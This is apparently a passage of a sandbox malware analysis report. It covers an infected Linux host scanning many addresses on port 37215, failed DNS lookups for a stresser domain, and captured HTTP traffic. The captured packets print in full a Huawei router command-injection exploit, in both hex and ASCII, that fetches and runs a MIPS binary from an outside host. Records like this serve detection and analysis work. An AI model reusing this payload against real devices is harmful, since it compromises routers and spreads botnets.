Dec 3, 2024 22:16:55.079385996 CET	37451	37215	192.168.2.23	41.216.143.164
Dec 3, 2024 22:16:55.079385996 CET	37451	37215	192.168.2.23	41.77.198.149
Dec 3, 2024 22:16:55.079385996 CET	37451	37215	192.168.2.23	197.165.113.216
Dec 3, 2024 22:16:55.079392910 CET	37451	37215	192.168.2.23	156.135.122.159
Dec 3, 2024 22:16:55.079392910 CET	37451	37215	192.168.2.23	156.210.101.192
Dec 3, 2024 22:16:55.079397917 CET	37451	37215	192.168.2.23	197.52.112.47
Dec 3, 2024 22:16:55.079397917 CET	37451	37215	192.168.2.23	156.124.44.219
Dec 3, 2024 22:16:55.079400063 CET	37451	37215	192.168.2.23	156.95.86.173
Dec 3, 2024 22:16:55.079401970 CET	37451	37215	192.168.2.23	41.117.97.130
Dec 3, 2024 22:16:55.079401970 CET	37451	37215	192.168.2.23	156.65.70.155
Dec 3, 2024 22:16:55.079404116 CET	37451	37215	192.168.2.23	41.43.44.237
Dec 3, 2024 22:16:55.079405069 CET	37451	37215	192.168.2.23	197.23.132.71
Dec 3, 2024 22:16:55.079405069 CET	37451	37215	192.168.2.23	197.95.230.54
Dec 3, 2024 22:16:55.079405069 CET	37451	37215	192.168.2.23	197.103.192.226
Dec 3, 2024 22:16:55.079405069 CET	37451	37215	192.168.2.23	41.106.194.170
Dec 3, 2024 22:16:55.079417944 CET	37451	37215	192.168.2.23	197.209.152.198
Dec 3, 2024 22:16:55.079418898 CET	37451	37215	192.168.2.23	41.71.64.149
Dec 3, 2024 22:16:55.079418898 CET	37451	37215	192.168.2.23	41.6.116.174
Dec 3, 2024 22:16:55.079418898 CET	37451	37215	192.168.2.23	41.30.94.31
Dec 3, 2024 22:16:55.079418898 CET	37451	37215	192.168.2.23	197.3.254.205
Dec 3, 2024 22:16:55.079421043 CET	37451	37215	192.168.2.23	197.15.15.116
Dec 3, 2024 22:16:55.079421043 CET	37451	37215	192.168.2.23	41.189.160.60
Dec 3, 2024 22:16:55.079421043 CET	37451	37215	192.168.2.23	41.183.163.6
Dec 3, 2024 22:16:55.079421997 CET	37451	37215	192.168.2.23	156.125.236.144
Dec 3, 2024 22:16:55.079421043 CET	37451	37215	192.168.2.23	41.149.173.230
Dec 3, 2024 22:16:55.079421043 CET	37451	37215	192.168.2.23	197.0.96.230
Dec 3, 2024 22:16:55.079442024 CET	37451	37215	192.168.2.23	41.166.119.187
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	156.220.107.234
Dec 3, 2024 22:16:55.079442024 CET	37451	37215	192.168.2.23	156.43.89.81
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	156.59.167.75
Dec 3, 2024 22:16:55.079443932 CET	37451	37215	192.168.2.23	41.123.76.169
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	197.220.19.172
Dec 3, 2024 22:16:55.079443932 CET	37451	37215	192.168.2.23	197.51.229.39
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	41.6.68.208
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	197.165.94.68
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	41.104.129.83
Dec 3, 2024 22:16:55.079442978 CET	37451	37215	192.168.2.23	156.45.140.130
Dec 3, 2024 22:16:55.079452038 CET	37451	37215	192.168.2.23	197.57.142.12
Dec 3, 2024 22:16:55.079452038 CET	37451	37215	192.168.2.23	41.63.29.116
Dec 3, 2024 22:16:55.079452038 CET	37451	37215	192.168.2.23	156.143.87.81
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	41.55.154.153
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	156.67.234.240
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	197.0.71.104
Dec 3, 2024 22:16:55.079453945 CET	37451	37215	192.168.2.23	197.64.19.126
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	156.44.182.234
Dec 3, 2024 22:16:55.079453945 CET	37451	37215	192.168.2.23	41.51.177.96
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	197.129.43.78
Dec 3, 2024 22:16:55.079452991 CET	37451	37215	192.168.2.23	197.10.179.129
Dec 3, 2024 22:16:55.079457998 CET	37451	37215	192.168.2.23	41.165.246.83
Dec 3, 2024 22:16:55.079457998 CET	37451	37215	192.168.2.23	197.54.96.189
Dec 3, 2024 22:16:55.079461098 CET	37451	37215	192.168.2.23	41.204.102.227
Dec 3, 2024 22:16:55.079461098 CET	37451	37215	192.168.2.23	156.245.47.19
Dec 3, 2024 22:16:55.079461098 CET	37451	37215	192.168.2.23	197.255.227.106
Dec 3, 2024 22:16:55.079464912 CET	37451	37215	192.168.2.23	197.29.36.169
Dec 3, 2024 22:16:55.079464912 CET	37451	37215	192.168.2.23	197.1.30.64
Dec 3, 2024 22:16:55.079468966 CET	37451	37215	192.168.2.23	197.178.11.255
Dec 3, 2024 22:16:55.079469919 CET	37451	37215	192.168.2.23	156.196.174.108
Dec 3, 2024 22:16:55.079469919 CET	37451	37215	192.168.2.23	41.170.222.238
Dec 3, 2024 22:16:55.079469919 CET	37451	37215	192.168.2.23	41.11.225.46
Dec 3, 2024 22:16:55.079472065 CET	37451	37215	192.168.2.23	41.11.24.20
Dec 3, 2024 22:16:55.079472065 CET	37451	37215	192.168.2.23	156.137.97.75
Dec 3, 2024 22:16:55.079472065 CET	37451	37215	192.168.2.23	41.27.116.138
Dec 3, 2024 22:16:55.079472065 CET	37451	37215	192.168.2.23	156.58.223.121
Dec 3, 2024 22:16:55.079473972 CET	37451	37215	192.168.2.23	41.194.209.195
Dec 3, 2024 22:16:55.079472065 CET	37451	37215	192.168.2.23	197.188.75.230
Dec 3, 2024 22:16:55.079489946 CET	37451	37215	192.168.2.23	41.181.166.205
Dec 3, 2024 22:16:55.079489946 CET	37451	37215	192.168.2.23	41.4.205.61
Dec 3, 2024 22:16:55.079490900 CET	37451	37215	192.168.2.23	41.211.109.95
Dec 3, 2024 22:16:55.079490900 CET	37451	37215	192.168.2.23	41.201.248.243
Dec 3, 2024 22:16:55.079490900 CET	37451	37215	192.168.2.23	156.213.197.75
Dec 3, 2024 22:16:55.079490900 CET	37451	37215	192.168.2.23	156.103.168.68
Dec 3, 2024 22:16:55.079490900 CET	37451	37215	192.168.2.23	197.138.9.175
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	156.7.130.247
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	41.239.180.224
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	156.100.48.200
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	156.9.239.90
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	197.69.148.216
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	41.140.85.26
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	197.6.114.137
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	156.139.88.169
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	197.246.130.126
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	197.255.160.67
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	197.225.204.89
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	41.108.38.247
Dec 3, 2024 22:16:55.079493046 CET	37451	37215	192.168.2.23	197.219.192.9
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	156.67.48.184
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	197.32.249.197
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	197.82.175.162
Dec 3, 2024 22:16:55.079494953 CET	37451	37215	192.168.2.23	156.11.110.144
Dec 3, 2024 22:16:55.079504013 CET	37451	37215	192.168.2.23	197.221.152.16
Dec 3, 2024 22:16:55.079507113 CET	37451	37215	192.168.2.23	156.145.182.48
Dec 3, 2024 22:16:55.079508066 CET	37451	37215	192.168.2.23	41.174.107.72
Dec 3, 2024 22:16:55.079509974 CET	37451	37215	192.168.2.23	41.117.188.192
Dec 3, 2024 22:16:55.079509974 CET	37451	37215	192.168.2.23	156.186.24.88
Dec 3, 2024 22:16:55.079509974 CET	37451	37215	192.168.2.23	197.245.249.207
Dec 3, 2024 22:16:55.079513073 CET	37451	37215	192.168.2.23	197.28.199.96
Dec 3, 2024 22:16:55.079513073 CET	37451	37215	192.168.2.23	41.55.1.172
Dec 3, 2024 22:16:55.079513073 CET	37451	37215	192.168.2.23	156.248.103.251
Dec 3, 2024 22:16:55.079513073 CET	37451	37215	192.168.2.23	197.70.168.35
Dec 3, 2024 22:16:55.079513073 CET	37451	37215	192.168.2.23	41.58.21.26
Dec 3, 2024 22:16:55.079514980 CET	37451	37215	192.168.2.23	197.108.74.91
Dec 3, 2024 22:16:55.079514980 CET	37451	37215	192.168.2.23	41.172.157.224
Dec 3, 2024 22:16:55.079514980 CET	37451	37215	192.168.2.23	41.239.59.243
Dec 3, 2024 22:16:55.079515934 CET	37451	37215	192.168.2.23	41.162.83.32
Dec 3, 2024 22:16:55.079514980 CET	37451	37215	192.168.2.23	41.234.100.179
Dec 3, 2024 22:16:55.079515934 CET	37451	37215	192.168.2.23	41.188.4.117
Dec 3, 2024 22:16:55.079514980 CET	37451	37215	192.168.2.23	197.15.164.219
Dec 3, 2024 22:16:55.079524994 CET	37451	37215	192.168.2.23	156.172.142.168
Dec 3, 2024 22:16:55.079524994 CET	37451	37215	192.168.2.23	197.217.225.171
Dec 3, 2024 22:16:55.079524994 CET	37451	37215	192.168.2.23	41.221.145.219
Dec 3, 2024 22:16:55.079524994 CET	37451	37215	192.168.2.23	156.62.235.59
Dec 3, 2024 22:16:55.079529047 CET	37451	37215	192.168.2.23	197.141.100.202
Dec 3, 2024 22:16:55.079529047 CET	37451	37215	192.168.2.23	156.53.91.56
Dec 3, 2024 22:16:55.079530001 CET	37451	37215	192.168.2.23	197.8.141.20
Dec 3, 2024 22:16:55.079530001 CET	37451	37215	192.168.2.23	156.237.99.173
Dec 3, 2024 22:16:55.079530001 CET	37451	37215	192.168.2.23	41.51.226.88
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	41.83.21.69
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	41.153.249.38
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	156.245.177.132
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	41.158.138.203
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	156.230.41.6
Dec 3, 2024 22:16:55.079530954 CET	37451	37215	192.168.2.23	156.247.151.246
Dec 3, 2024 22:16:55.079541922 CET	37451	37215	192.168.2.23	197.24.31.40
Dec 3, 2024 22:16:55.079547882 CET	37451	37215	192.168.2.23	156.237.106.25
Dec 3, 2024 22:16:55.079547882 CET	37451	37215	192.168.2.23	41.108.137.182
Dec 3, 2024 22:16:55.079552889 CET	37451	37215	192.168.2.23	41.123.138.140
Dec 3, 2024 22:16:55.079552889 CET	37451	37215	192.168.2.23	41.38.7.97
Dec 3, 2024 22:16:55.079552889 CET	37451	37215	192.168.2.23	156.215.104.238
Dec 3, 2024 22:16:55.079555035 CET	37451	37215	192.168.2.23	156.119.212.151
Dec 3, 2024 22:16:55.079555035 CET	37451	37215	192.168.2.23	41.76.194.110
Dec 3, 2024 22:16:55.079555035 CET	37451	37215	192.168.2.23	156.217.125.195
Dec 3, 2024 22:16:55.079555988 CET	37451	37215	192.168.2.23	156.134.110.71
Dec 3, 2024 22:16:55.079555988 CET	37451	37215	192.168.2.23	156.6.5.91
Dec 3, 2024 22:16:55.079560041 CET	37451	37215	192.168.2.23	197.10.83.240
Dec 3, 2024 22:16:55.079560041 CET	37451	37215	192.168.2.23	197.223.154.43
Dec 3, 2024 22:16:55.079560041 CET	37451	37215	192.168.2.23	41.28.90.14
Dec 3, 2024 22:16:55.079560041 CET	37451	37215	192.168.2.23	197.211.178.69
Dec 3, 2024 22:16:55.079560995 CET	37451	37215	192.168.2.23	156.99.115.22
Dec 3, 2024 22:16:55.079560995 CET	37451	37215	192.168.2.23	41.223.71.8
Dec 3, 2024 22:16:55.079560995 CET	37451	37215	192.168.2.23	41.89.233.105
Dec 3, 2024 22:16:55.079560995 CET	37451	37215	192.168.2.23	41.116.215.169
Dec 3, 2024 22:16:55.079560995 CET	37451	37215	192.168.2.23	156.233.157.81
Dec 3, 2024 22:16:55.079567909 CET	37451	37215	192.168.2.23	156.157.45.108
Dec 3, 2024 22:16:55.079567909 CET	37451	37215	192.168.2.23	41.73.228.131
Dec 3, 2024 22:16:55.079567909 CET	37451	37215	192.168.2.23	197.147.213.99
Dec 3, 2024 22:16:55.079567909 CET	37451	37215	192.168.2.23	41.16.107.206
Dec 3, 2024 22:16:55.079570055 CET	37451	37215	192.168.2.23	156.184.225.79
Dec 3, 2024 22:16:55.079572916 CET	37451	37215	192.168.2.23	41.15.252.98
Dec 3, 2024 22:16:55.079576969 CET	37451	37215	192.168.2.23	197.91.104.1
Dec 3, 2024 22:16:55.079576969 CET	37451	37215	192.168.2.23	156.217.210.251
Dec 3, 2024 22:16:55.079576969 CET	37451	37215	192.168.2.23	41.74.25.20
Dec 3, 2024 22:16:55.079577923 CET	37451	37215	192.168.2.23	197.133.49.77
Dec 3, 2024 22:16:55.079577923 CET	37451	37215	192.168.2.23	197.17.98.49
Dec 3, 2024 22:16:55.079580069 CET	37451	37215	192.168.2.23	156.6.27.56
Dec 3, 2024 22:16:55.079585075 CET	37451	37215	192.168.2.23	41.121.20.53
Dec 3, 2024 22:16:55.079586029 CET	37451	37215	192.168.2.23	41.219.124.29
Dec 3, 2024 22:16:55.079586029 CET	37451	37215	192.168.2.23	156.117.158.250
Dec 3, 2024 22:16:55.079592943 CET	37451	37215	192.168.2.23	197.199.249.208
Dec 3, 2024 22:16:55.079592943 CET	37451	37215	192.168.2.23	197.158.238.215
Dec 3, 2024 22:16:55.079592943 CET	37451	37215	192.168.2.23	156.255.33.83
Dec 3, 2024 22:16:55.079592943 CET	37451	37215	192.168.2.23	197.6.207.106
Dec 3, 2024 22:16:55.079602957 CET	37451	37215	192.168.2.23	197.194.161.34
Dec 3, 2024 22:16:55.079602957 CET	37451	37215	192.168.2.23	156.66.234.172
Dec 3, 2024 22:16:55.079602957 CET	37451	37215	192.168.2.23	41.123.95.53
Dec 3, 2024 22:16:55.079606056 CET	37451	37215	192.168.2.23	41.103.203.202
Dec 3, 2024 22:16:55.079606056 CET	37451	37215	192.168.2.23	156.0.224.238
Dec 3, 2024 22:16:55.079606056 CET	37451	37215	192.168.2.23	197.86.48.34
Dec 3, 2024 22:16:55.079607964 CET	37451	37215	192.168.2.23	197.134.38.237
Dec 3, 2024 22:16:55.079607964 CET	37451	37215	192.168.2.23	41.179.234.209
Dec 3, 2024 22:16:55.079607964 CET	37451	37215	192.168.2.23	41.53.81.33
Dec 3, 2024 22:16:55.079607964 CET	37451	37215	192.168.2.23	197.83.223.244
Dec 3, 2024 22:16:55.079612017 CET	37451	37215	192.168.2.23	156.70.89.86
Dec 3, 2024 22:16:55.079612017 CET	37451	37215	192.168.2.23	41.66.127.167
Dec 3, 2024 22:16:55.079613924 CET	37451	37215	192.168.2.23	41.31.72.29
Dec 3, 2024 22:16:55.079613924 CET	37451	37215	192.168.2.23	156.218.35.99

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 22:16:44.355576992 CET	192.168.2.23	8.8.8.8	0x3c3f	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:44.853741884 CET	192.168.2.23	8.8.8.8	0x3c3f	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.328973055 CET	192.168.2.23	8.8.8.8	0x3c3f	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.580636024 CET	192.168.2.23	8.8.8.8	0x3c3f	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.835470915 CET	192.168.2.23	8.8.8.8	0x3c3f	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:09.274843931 CET	192.168.2.23	8.8.8.8	0xc670	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:09.525507927 CET	192.168.2.23	8.8.8.8	0xc670	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:09.777903080 CET	192.168.2.23	8.8.8.8	0xc670	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:10.028465986 CET	192.168.2.23	8.8.8.8	0xc670	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:10.279325008 CET	192.168.2.23	8.8.8.8	0xc670	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:33.588149071 CET	192.168.2.23	8.8.8.8	0x3709	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:33.982841969 CET	192.168.2.23	8.8.8.8	0x3709	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:34.456000090 CET	192.168.2.23	8.8.8.8	0x3709	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:34.704864979 CET	192.168.2.23	8.8.8.8	0x3709	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:35.096823931 CET	192.168.2.23	8.8.8.8	0x3709	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:58.360022068 CET	192.168.2.23	8.8.8.8	0x9f1e	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:58.610483885 CET	192.168.2.23	8.8.8.8	0x9f1e	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:58.860461950 CET	192.168.2.23	8.8.8.8	0x9f1e	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:59.333049059 CET	192.168.2.23	8.8.8.8	0x9f1e	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:59.583846092 CET	192.168.2.23	8.8.8.8	0x9f1e	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:22.892375946 CET	192.168.2.23	8.8.8.8	0xca11	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:23.143529892 CET	192.168.2.23	8.8.8.8	0xca11	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:28.148566961 CET	192.168.2.23	8.8.8.8	0xca11	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:28.399873972 CET	192.168.2.23	8.8.8.8	0xca11	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:28.653104067 CET	192.168.2.23	8.8.8.8	0xca11	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 22:16:44.852674961 CET	8.8.8.8	192.168.2.23	0x3c3f	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.327717066 CET	8.8.8.8	192.168.2.23	0x3c3f	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.579710960 CET	8.8.8.8	192.168.2.23	0x3c3f	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:45.834476948 CET	8.8.8.8	192.168.2.23	0x3c3f	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:16:46.226123095 CET	8.8.8.8	192.168.2.23	0x3c3f	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:09.524956942 CET	8.8.8.8	192.168.2.23	0xc670	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:09.777091026 CET	8.8.8.8	192.168.2.23	0xc670	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:10.027923107 CET	8.8.8.8	192.168.2.23	0xc670	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:10.278438091 CET	8.8.8.8	192.168.2.23	0xc670	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:10.528620005 CET	8.8.8.8	192.168.2.23	0xc670	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:33.982115030 CET	8.8.8.8	192.168.2.23	0x3709	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:34.455485106 CET	8.8.8.8	192.168.2.23	0x3709	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:34.704160929 CET	8.8.8.8	192.168.2.23	0x3709	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:35.096168041 CET	8.8.8.8	192.168.2.23	0x3709	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:35.345403910 CET	8.8.8.8	192.168.2.23	0x3709	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:58.609807014 CET	8.8.8.8	192.168.2.23	0x9f1e	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:58.859810114 CET	8.8.8.8	192.168.2.23	0x9f1e	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:59.332349062 CET	8.8.8.8	192.168.2.23	0x9f1e	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:59.583177090 CET	8.8.8.8	192.168.2.23	0x9f1e	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:17:59.834933996 CET	8.8.8.8	192.168.2.23	0x9f1e	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:23.142541885 CET	8.8.8.8	192.168.2.23	0xca11	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:28.398961067 CET	8.8.8.8	192.168.2.23	0xca11	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:28.651993990 CET	8.8.8.8	192.168.2.23	0xca11	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:18:29.125844002 CET	8.8.8.8	192.168.2.23	0xca11	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	59658	156.21.203.122	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:47.502497911 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	51230	197.137.137.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:47.621542931 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 